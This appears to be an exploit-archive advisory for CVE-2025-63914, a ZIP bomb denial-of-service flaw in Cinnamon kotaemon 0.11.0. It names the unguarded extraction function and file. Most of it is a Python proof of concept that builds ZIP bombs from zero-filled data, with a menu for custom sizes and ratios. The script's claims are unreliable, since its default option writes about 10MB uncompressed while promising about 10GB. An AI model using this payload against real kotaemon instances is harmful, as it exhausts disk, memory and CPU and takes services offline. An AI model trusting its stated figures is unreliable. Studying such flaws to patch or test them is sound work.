📄 Cinnamon kotaemon 0.11.0 ZIP Bomb

=============================================================================================================================================
    | # Title     : Cinnamon kotaemon v 0.11.0 ZIP Bomb Vulnerability in Cinnamon/kotaemon - Proof of Concept                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/cinnamon/kotaemon                                                                                        |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212312/ & CVE-2025-63914
    
    [+] Summary : CVE-2025-63914 is a critical denial-of-service vulnerability in the Cinnamon/kotaemon application that allows authenticated attackers to upload malicious ZIP archives 
                  containing extreme compression ratios. The vulnerability exists in the _may_extract_zip function within \libs\ktem\ktem\index\file\ui.py, which performs ZIP file extraction without 
                  enforcing any limits on decompressed size, file count, or compression ratios.
                  When exploited, this vulnerability enables attackers to create "ZIP bombs" - archives that appear small (kilobytes) but expand to enormous sizes 
    			  (gigabytes or terabytes) when extracted. This triggers uncontrolled consumption of disk space, CPU, and memory resources, potentially leading to complete system unavailability and service crashes.
                  All instances up to version 0.11.0 are affected, requiring immediate patching or mitigation implementation.
    
    [+]  POC : python poc.py
    
    #!/usr/bin/env python3
    
    import zipfile
    import os
    import sys
    import tempfile
    import shutil
    
    def create_simple_zip_bomb(output_file="zip_bomb.zip", compressed_size_mb=1, ratio=10000):
        """
        Create a simple ZIP bomb with highly compressible data
        """
        print(f"[*] Creating ZIP bomb: {output_file}")
        print(f"[*] Target compressed size: {compressed_size_mb}MB")
        print(f"[*] Target expansion ratio: 1:{ratio}")
        
        # Calculate uncompressed size
        uncompressed_size = compressed_size_mb * ratio * 1024 * 1024
        print(f"[*] Expected uncompressed size: {uncompressed_size/(1024**3):.2f}GB")
        
        try:
            with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zipf:
                # Create highly compressible data (zeros)
                chunk_size = 1024 * 1024  # 1MB
                total_chunks = compressed_size_mb * 10  # Create multiple chunks
                
                for i in range(total_chunks):
                    # Create compressible data (repeating zeros)
                    compressible_data = b'\x00' * chunk_size
                    zipf.writestr(f"bomb_file_{i:04d}.bin", compressible_data)
                    
                    # Progress indicator
                    if i % 10 == 0:
                        progress = (i + 1) / total_chunks * 100
                        sys.stdout.write(f"\r[*] Progress: {progress:.1f}%")
                        sys.stdout.flush()
            
            print(f"\n[+] ZIP bomb created: {output_file}")
            
            # Show file info
            file_size = os.path.getsize(output_file)
            print(f"[+] Actual size: {file_size/(1024*1024):.2f}MB")
            
            # Verify the file
            with zipfile.ZipFile(output_file, 'r') as zipf:
                file_count = len(zipf.namelist())
                total_size = sum(info.file_size for info in zipf.filelist)
                print(f"[+] Files in archive: {file_count}")
                print(f"[+] Total uncompressed size: {total_size/(1024**3):.2f}GB")
                if total_size > 0:
                    print(f"[+] Compression ratio: {total_size/file_size:.0f}:1")
            
            return True
            
        except Exception as e:
            print(f"\n[-] Error: {e}")
            return False
    
    def create_quick_zip_bomb():
        """
        Create a quick test ZIP bomb (small for testing)
        """
        print("[*] Creating quick test ZIP bomb...")
        
        output_file = "test_bomb.zip"
        
        try:
            with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zipf:
                # Add multiple highly compressible files
                for i in range(100):
                    # 10KB of zeros (compresses to about 100 bytes)
                    data = b'\x00' * (10 * 1024)
                    zipf.writestr(f"file_{i:03d}.dat", data)
            
            print(f"[+] Created: {output_file}")
            
            # Show info
            size = os.path.getsize(output_file)
            print(f"[+] Size: {size} bytes ({size/1024:.1f}KB)")
            
            return True
            
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def main():
        print("=" * 60)
        print("CVE-2025-63914 - Zip Bomb Proof of Concept")
        print("FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY")
        print("=" * 60)
        print()
        
        print("[!] WARNING: This creates potentially dangerous ZIP files")
        print("[!] Use only in controlled test environments")
        print("[!] Do NOT extract on production systems")
        print()
        
        print("Choose option:")
        print("1. Create simple ZIP bomb (1MB -> ~10GB)")
        print("2. Create quick test bomb (small, safe for testing)")
        print("3. Custom ZIP bomb")
        print("4. Exit")
        
        choice = input("\nEnter choice (1-4): ").strip()
        
        if choice == "1":
            create_simple_zip_bomb("zip_bomb.zip", 1, 10000)
        elif choice == "2":
            create_quick_zip_bomb()
        elif choice == "3":
            try:
                size = int(input("Enter compressed size in MB (e.g., 1): "))
                ratio = int(input("Enter expansion ratio (e.g., 10000): "))
                filename = input("Enter output filename (default: custom_bomb.zip): ").strip()
                if not filename:
                    filename = "custom_bomb.zip"
                create_simple_zip_bomb(filename, size, ratio)
            except ValueError:
                print("[-] Invalid input")
        elif choice == "4":
            print("[-] Exiting")
            return
        else:
            print("[-] Invalid choice")
        
        print()
        print("[*] Done!")
        print("[!] REMINDER: For authorized security testing only")
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================